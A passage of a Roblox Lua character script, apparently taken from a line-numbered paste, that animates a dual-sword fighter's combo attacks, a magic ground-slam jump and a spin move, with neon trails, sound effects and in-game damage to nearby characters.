        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3270
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3271
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3272
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3273
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3274
    end
3275
    --dmgstop()
3276
    attack=false
3277
    Humanoid.WalkSpeed = 12
3278
if TrailDeb == true then
3279
						TrailDeb = false
3280
end
3281
end
3282
3283
function attackone()
3284
    attack=true
3285
    if TrailDeb == false then
3286
							TrailDeb = true
3287
						end
3288
						
3289
3290
coroutine.wrap(function()
3291
local Old = Handle.CFrame.p
3292
while wait()do
3293
if not TrailDeb then break end
3294
local New = Handle.CFrame.p
3295
local Mag =(Old -New).magnitude
3296
local Dis =(Old +New)/2
3297
local Trail = Instance.new("Part",Character)
3298
Trail.Material = "Neon"
3299
Trail.Anchored = true
3300
Trail.CanCollide = false
3301
Trail.BrickColor = TorsoColor
3302
Trail.Size = Vector3.new(0.2,Mag,0.2)
3303
Trail.TopSurface = 0
3304
Trail.BottomSurface = 0
3305
Trail.formFactor = "Custom"
3306
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3307
local ms = Instance.new("BlockMesh",Trail)
3308
ms.Scale = Vector3.new(1,1,1)
3309
local TM = Instance.new("CylinderMesh",Trail)
3310
TM.Scale = Vector3.new(1,1,1)
3311
Old = New
3312
coroutine.wrap(function()
3313
for i = 1,0,-0.1 do
3314
wait()
3315
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3316
end
3317
Trail:remove()
3318
end)()
3319
coroutine.wrap(function()
3320
for i = 1,10 do
3321
wait()
3322
Trail.Transparency = Trail.Transparency +0.1
3323
end end)()end end)()
3324
    con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3325
    for i=0,1,0.08 do
3326
        swait()
3327
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
3328
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
3329
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3330
        Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
3331
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3332
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
3333
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3334
    end
3335
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9) 
3336
    so("http://www.roblox.com/asset/?id=159972643",Torso,1,1) 
3337
    for i=0,1,0.1 do
3338
        swait()
3339
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
3340
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3341
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3342
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
3343
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3344
        RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
3345
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3346
    end
3347
    --dmgstop()
3348
    attack=false
3349
    con1:disconnect()
3350
if TrailDeb == true then
3351
						TrailDeb = false
3352
end
3353
end
3354
3355
function attacktwo()
3356
    attack=true
3357
if TrailDeb == false then
3358
							TrailDeb = true
3359
						end
3360
						
3361
3362
coroutine.wrap(function()
3363
local Old = Handle2.CFrame.p
3364
while wait()do
3365
if not TrailDeb then break end
3366
local New = Handle2.CFrame.p
3367
local Mag =(Old -New).magnitude
3368
local Dis =(Old +New)/2
3369
local Trail = Instance.new("Part",Character)
3370
Trail.Material = "Neon"
3371
Trail.Anchored = true
3372
Trail.CanCollide = false
3373
Trail.BrickColor = TorsoColor
3374
Trail.Size = Vector3.new(0.2,Mag,0.2)
3375
Trail.TopSurface = 0
3376
Trail.BottomSurface = 0
3377
Trail.formFactor = "Custom"
3378
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3379
local ms = Instance.new("BlockMesh",Trail)
3380
ms.Scale = Vector3.new(1,1,1)
3381
local TM = Instance.new("CylinderMesh",Trail)
3382
TM.Scale = Vector3.new(1,1,1)
3383
Old = New
3384
coroutine.wrap(function()
3385
for i = 1,0,-0.1 do
3386
wait()
3387
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3388
end
3389
Trail:remove()
3390
end)()
3391
coroutine.wrap(function()
3392
for i = 1,10 do
3393
wait()
3394
Trail.Transparency = Trail.Transparency +0.1
3395
end end)()end end)()
3396
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3397
    for i=0,1,0.08 do
3398
        swait()
3399
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
3400
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3401
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3402
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
3403
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3404
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
3405
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
3406
    end
3407
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
3408
    so("http://www.roblox.com/asset/?id=159972627",Torso,1,1) 
3409
    for i=0,1,0.1 do
3410
        swait()
3411
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3412
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
3413
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3414
        Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
3415
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3416
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
3417
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
3418
    end
3419
    --dmgstop()
3420
    attack=false
3421
    con1:disconnect()
3422
if TrailDeb == true then
3423
						TrailDeb = false
3424
end
3425
end
3426
3427
function attackthree()
3428
    attack=true
3429
    if TrailDeb == false then
3430
							TrailDeb = true
3431
						end
3432
3433
						
3434
coroutine.wrap(function()
3435
local Old = Handle.CFrame.p
3436
while wait()do
3437
if not TrailDeb then break end
3438
local New = Handle.CFrame.p
3439
local Mag =(Old -New).magnitude
3440
local Dis =(Old +New)/2
3441
local Trail = Instance.new("Part",Character)
3442
Trail.Material = "Neon"
3443
Trail.Anchored = true
3444
Trail.CanCollide = false
3445
Trail.BrickColor = TorsoColor
3446
Trail.Size = Vector3.new(0.2,Mag,0.2)
3447
Trail.TopSurface = 0
3448
Trail.BottomSurface = 0
3449
Trail.formFactor = "Custom"
3450
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3451
local ms = Instance.new("BlockMesh",Trail)
3452
ms.Scale = Vector3.new(1,1,1)
3453
local TM = Instance.new("CylinderMesh",Trail)
3454
TM.Scale = Vector3.new(1,1,1)
3455
Old = New
3456
coroutine.wrap(function()
3457
for i = 1,0,-0.1 do
3458
wait()
3459
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3460
end
3461
Trail:remove()
3462
end)()
3463
coroutine.wrap(function()
3464
for i = 1,10 do
3465
wait()
3466
Trail.Transparency = Trail.Transparency +0.1
3467
end end)()end end)()
3468
    con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end) 
3469
    for i=0,1,0.08 do
3470
        swait()
3471
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
3472
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
3473
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3474
        Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
3475
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3476
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
3477
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3478
    end
3479
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
3480
    so("http://www.roblox.com/asset/?id=159882477",Torso,1,1) 
3481
    for i=0,1,0.05 do
3482
        swait()
3483
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
3484
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
3485
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3486
        Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
3487
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3488
        RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
3489
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3490
    end
3491
    --dmgstop()
3492
    attack=false
3493
    con1:disconnect()
3494
if TrailDeb == true then
3495
						TrailDeb = false
3496
end
3497
end
3498
3499
function attackfour()
3500
    attack=true
3501
if TrailDeb == false then
3502
							TrailDeb = true
3503
						end
3504
						
3505
3506
coroutine.wrap(function()
3507
local Old = Handle2.CFrame.p
3508
while wait()do
3509
if not TrailDeb then break end
3510
local New = Handle2.CFrame.p
3511
local Mag =(Old -New).magnitude
3512
local Dis =(Old +New)/2
3513
local Trail = Instance.new("Part",Character)
3514
Trail.Material = "Neon"
3515
Trail.Anchored = true
3516
Trail.CanCollide = false
3517
Trail.BrickColor = TorsoColor
3518
Trail.Size = Vector3.new(0.2,Mag,0.2)
3519
Trail.TopSurface = 0
3520
Trail.BottomSurface = 0
3521
Trail.formFactor = "Custom"
3522
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3523
local ms = Instance.new("BlockMesh",Trail)
3524
ms.Scale = Vector3.new(1,1,1)
3525
local TM = Instance.new("CylinderMesh",Trail)
3526
TM.Scale = Vector3.new(1,1,1)
3527
Old = New
3528
coroutine.wrap(function()
3529
for i = 1,0,-0.1 do
3530
wait()
3531
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3532
end
3533
Trail:remove()
3534
end)()
3535
coroutine.wrap(function()
3536
for i = 1,10 do
3537
wait()
3538
Trail.Transparency = Trail.Transparency +0.1
3539
end end)()end end)()
3540
coroutine.wrap(function()
3541
local Old = Handle.CFrame.p
3542
while wait()do
3543
if not TrailDeb then break end
3544
local New = Handle.CFrame.p
3545
local Mag =(Old -New).magnitude
3546
local Dis =(Old +New)/2
3547
local Trail = Instance.new("Part",Character)
3548
Trail.Material = "Neon"
3549
Trail.Anchored = true
3550
Trail.CanCollide = false
3551
Trail.BrickColor = TorsoColor
3552
Trail.Size = Vector3.new(0.2,Mag,0.2)
3553
Trail.TopSurface = 0
3554
Trail.BottomSurface = 0
3555
Trail.formFactor = "Custom"
3556
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3557
local ms = Instance.new("BlockMesh",Trail)
3558
ms.Scale = Vector3.new(1,1,1)
3559
local TM = Instance.new("CylinderMesh",Trail)
3560
TM.Scale = Vector3.new(1,1,1)
3561
Old = New
3562
coroutine.wrap(function()
3563
for i = 1,0,-0.1 do
3564
wait()
3565
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3566
end
3567
Trail:remove()
3568
end)()
3569
coroutine.wrap(function()
3570
for i = 1,10 do
3571
wait()
3572
Trail.Transparency = Trail.Transparency +0.1
3573
end end)()end end)()
3574
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3575
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3576
    for i=0,1,0.08 do
3577
        swait()
3578
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3579
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3580
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3581
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3582
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3583
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3584
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3585
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3586
    end
3587
if anim then
3588
anim.Disabled=true
3589
end
3590
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7) 
3591
    so("http://www.roblox.com/asset/?id=159882584",Torso,1,1) 
3592
    for i=0,1,0.04 do
3593
        swait()
3594
        Torso.Velocity=RootPart.CFrame.lookVector*50
3595
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
3596
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3597
        Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3598
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3599
        RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3600
        LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3601
        RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3602
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3603
    end
3604
    --dmgstop()
3605
    attack=false
3606
    con1:disconnect()
3607
    con2:disconnect()
3608
if anim then
3609
anim.Disabled=false
3610
end
3611
if TrailDeb == true then
3612
						TrailDeb = false
3613
end
3614
end
3615
3616
function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
3617
	local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
3618
	prt.Anchored = true
3619
	prt.CFrame = cframe
3620
	local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
3621
	coroutine.resume(coroutine.create(function() 
3622
		for i = 0, 1, 0.05 do
3623
			wait()
3624
			prt.Transparency = i
3625
			msh.Scale = msh.Scale + vt(x2, y2, z2)
3626
		end
3627
		prt.Parent = nil
3628
	end))
3629
end
3630
3631
function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
3632
	for _, c in pairs(workspace:children()) do
3633
		local hum = c:findFirstChild("Humanoid")
3634
		if hum ~= nil then
3635
			local head = c:findFirstChild("Torso")
3636
			if head ~= nil then
3637
				local targ = head.Position - Part.Position
3638
				local mag = targ.magnitude
3639
				if mag <= magni and c.Name ~= Player.Name then 
3640
					Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
3641
				end
3642
			end
3643
		end
3644
	end
3645
end
3646
3647
function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
3648
	local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
3649
	prt.Anchored = true
3650
	prt.CFrame = cframe
3651
	local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
3652
	game:GetService("Debris"):AddItem(prt, 2)
3653
	coroutine.resume(coroutine.create(function(Part, Mesh) 
3654
		for i = 0, 1, delay do
3655
			swait()
3656
			Part.CFrame = Part.CFrame
3657
			Part.Transparency = i
3658
			Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
3659
		end
3660
		Part.Parent = nil
3661
	end), prt, msh)
3662
end
3663
3664
function MagicJump()
3665
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
3666
    attack=true
3667
	mana=mana-25
3668
--[[	Humanoid.WalkSpeed = 0
3669
	    for i=0,1,0.01 do
3670
        swait()
3671
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
3672
		Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
3673
		Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
3674
		RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
3675
		LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
3676
		RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
3677
		LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
3678
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
3679
		Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
3680
		Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
3681
    end]]--
3682
	Humanoid.Jump = true
3683
	Torso.Velocity = vt(0, 150, 0)
3684
	Humanoid.WalkSpeed = 64
3685
	so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) 
3686
	so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) 
3687
 	for i=0,1,0.05 do
3688
	swait()
3689
	Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
3690
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3691
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
3692
    LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
3693
    RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
3694
	RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
3695
	LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
3696
	handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
3697
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
3698
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
3699
end
3700
 	for i=0,1,0.02 do
3701
	swait()
3702
	Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
3703
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3704
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
3705
	RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
3706
	RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
3707
	LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
3708
	LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
3709
	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
3710
	LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
3711
	handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
3712
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
3713
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
3714
end
3715
	Humanoid.WalkSpeed = 0
3716
	swait(8)
3717
	so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
3718
	so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
3719
	local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
3720
	if hit~=nil then
3721
	swait(2)
3722
	local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
3723
	ref.Anchored=true
3724
	ref.CFrame=cf(pos)
3725
	game:GetService("Debris"):AddItem(ref,3)
3726
	for i=1,10 do
3727
	local Col=BrickColor.new("Really black")
3728
	local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
3729
	groundpart.Anchored=true
3730
	groundpart.CanCollide=false
3731
	groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3732
	local Col2=TorsoColor
3733
	local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
3734
	groundpart2.Anchored=true
3735
	groundpart2.CanCollide=false
3736
	groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3737
	game:GetService("Debris"):AddItem(groundpart,5)
3738
	game:GetService("Debris"):AddItem(groundpart2,5)
3739
	end
3740
	BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
3741
	BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
3742
	MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
3743
	MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
3744
 	for i=0,1,0.06 do
3745
	swait()
3746
	Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
3747
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3748
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
3749
	RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
3750
	LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
3751
	RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
3752
	LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
3753
	handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
3754
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
3755
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
3756
end
3757
end
3758
	swait(20)
3759
	Humanoid.WalkSpeed = 12
3760
    --dmgstop()
3761
    attack=false
3762
end
3763
end
3764
3765
function Spin()
3766
    attack=true
3767
mana=mana-40
3768
if TrailDeb == false then
3769
							TrailDeb = true
3770
						end
3771
						
3772
coroutine.wrap(function()
3773
local Old = Handle2.CFrame.p
3774
while wait()do
3775
if not TrailDeb then break end
3776
local New = Handle2.CFrame.p
3777
local Mag =(Old -New).magnitude
3778
local Dis =(Old +New)/2
3779
local Trail = Instance.new("Part",Character)
3780
Trail.Material = "Neon"
3781
Trail.Anchored = true
3782
Trail.CanCollide = false
3783
Trail.BrickColor = TorsoColor
3784
Trail.Size = Vector3.new(0.2,Mag,0.2)
3785
Trail.TopSurface = 0
3786
Trail.BottomSurface = 0
3787
Trail.formFactor = "Custom"
3788
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3789
local ms = Instance.new("BlockMesh",Trail)
3790
ms.Scale = Vector3.new(1,1,1)
3791
local TM = Instance.new("CylinderMesh",Trail)
3792
TM.Scale = Vector3.new(1,1,1)
3793
Old = New
3794
coroutine.wrap(function()
3795
for i = 1,0,-0.1 do
3796
wait()
3797
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3798
end
3799
Trail:remove()
3800
end)()
3801
coroutine.wrap(function()
3802
for i = 1,10 do
3803
wait()
3804
Trail.Transparency = Trail.Transparency +0.1
3805
end end)()end end)()
3806
coroutine.wrap(function()
3807
local Old = Handle.CFrame.p
3808
while wait()do
3809
if not TrailDeb then break end
3810
local New = Handle.CFrame.p
3811
local Mag =(Old -New).magnitude
3812
local Dis =(Old +New)/2
3813
local Trail = Instance.new("Part",Character)
3814
Trail.Material = "Neon"
3815
Trail.Anchored = true
3816
Trail.CanCollide = false
3817
Trail.BrickColor = TorsoColor
3818
Trail.Size = Vector3.new(0.2,Mag,0.2)
3819
Trail.TopSurface = 0
3820
Trail.BottomSurface = 0
3821
Trail.formFactor = "Custom"
3822
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3823
local ms = Instance.new("BlockMesh",Trail)
3824
ms.Scale = Vector3.new(1,1,1)
3825
local TM = Instance.new("CylinderMesh",Trail)
3826
TM.Scale = Vector3.new(1,1,1)
3827
Old = New
3828
coroutine.wrap(function()
3829
for i = 1,0,-0.1 do
3830
wait()
3831
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3832
end
3833
Trail:remove()
3834
end)()
3835
coroutine.wrap(function()
3836
for i = 1,10 do
3837
wait()
3838
Trail.Transparency = Trail.Transparency +0.1
3839
end end)()end end)()
3840
	Footsteps:Stop()
3841
	Footsteps2:Stop()
3842
